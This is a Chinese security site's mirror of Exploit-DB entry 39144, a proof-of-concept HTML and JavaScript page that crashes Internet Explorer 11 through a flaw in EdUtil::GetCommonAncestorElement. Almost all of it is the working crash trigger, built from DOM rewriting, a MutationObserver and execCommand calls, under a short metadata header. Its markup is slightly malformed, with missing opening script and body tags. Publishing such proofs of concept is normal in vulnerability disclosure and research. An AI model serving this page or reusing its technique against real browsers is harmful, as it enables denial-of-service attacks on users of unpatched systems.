Microsoft Internet Explorer 11.0.9600.18124 EdUtil::GetCommonAncestorElement – Denial of Service - 体验盒子

作者： Marcin Ressel

日期： 2015-12-31

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/39144/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

<!doctype html>

<html>

<head>

<title>EdUtil::GetCommonAncestorElement Remote Crash</title>

/*

* Title : IE11 EdUtil::GetCommonAncestorElement Remote Crash

* Date : 31.12.2015

* Author : Marcin Ressel (https://twitter.com/m_ressel)

* Vendor Hompage : www.microsoft.com

* Software Link : n/a

* Version : 11.0.9600.18124

* Tested on: Windows 7 x64

*/

var trg,src,arg;

var range,select,observer;

function testcase()

{

document.body.innerHTML ='<table><colgroup></colgroup><table><tbody><table><table></table><col></col></table></tbody></table></table><select><option>0]. option</option><option>1]. option</option></select><ul type="circle"><li>0]. li</li><li>1]. li</li><li>2]. li</li><li>3]. li</li></ul><select><option>0]. option</option><option>1]. option</option><option>2]. option</option><option>3]. option</option><option>4]. option</option><option>5]. option</option><option>6]. option</option><option>7]. option</option></select>';

var all = document.getElementsByTagName("*");

trg = all[9];

src = all[2];

arg = all[12];

select = document.getSelection();

observer = new MutationObserver(new Function("","range = select.getRangeAt(258);"));

select.selectAllChildren(document);

document.execCommand("selectAll",false,'<ul type="square"><li>0]. li</li><li>1]. li</li><li>2]. li</li><li>3]. li</li><li>4]. li</li><li>5]. li</li><li>6]. li</li></ul><select><option>0]. option</option><option>1]. option</option><option>2]. option</option><option>3]. option</option><option>4]. option</option><option>5]. option</option><option>6]. option</option><option>7]. option</option></select>');

}

</script>

</head>

</body>

</html>